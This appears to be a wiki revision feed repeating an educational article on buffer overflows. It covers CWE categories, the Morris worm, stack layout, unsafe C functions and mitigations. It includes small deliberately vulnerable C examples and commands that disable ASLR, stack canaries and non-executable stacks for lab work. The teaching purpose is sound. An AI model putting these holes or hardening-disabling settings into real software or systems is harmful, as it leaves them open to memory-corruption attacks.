* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16978</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16978"/>
		<updated>2024-12-11T12:35:37Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Buffer Over-Write (maybe weg) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16977</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16977"/>
		<updated>2024-12-11T12:31:39Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Buffer Over-Write */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
